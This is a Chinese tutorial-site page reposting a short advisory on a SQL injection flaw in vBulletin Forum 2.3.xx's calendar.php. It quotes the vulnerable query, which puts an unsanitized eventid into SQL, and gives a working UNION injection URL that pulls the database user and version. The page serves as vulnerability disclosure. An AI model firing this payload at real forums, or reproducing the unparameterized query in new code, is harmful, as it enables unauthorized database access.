繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- PHP中for循环语句的几种“变态”用法
- 通过php来读取xml的数据
- PHP中使用XML-RPC构造Web Service简单入门
- 用PHP通过SMTP发送邮件
- 用PHP操纵Oracle的LOB类型的数据
- PHP函数学习之PHP函数点评
- Php高手带路--问题汇总解答
- 利用PHP和AJAX创建RSS聚合器
- PHP与Javascript的两种交互方式
- 高手传经：学习PHP重在坚持
- 动态网页PHP中引用&的使用注意事项
- 用PHPINFO来实现PHP的配置统计过程
- 向普通人加密 用PHP程序保护数据
- 使用 PHP 快速生成 Flash 动画
- Php常见问题总结
- 怎样才能成为PHP高手？
- PHP对战ASP：这还值得讨论吗？
- PHP大潮将至 PHP近年发展分析
- 小荷才露尖尖角 中国的PHP社群介绍
- 从草根到大腕 PHP技术发展历程
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 282 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
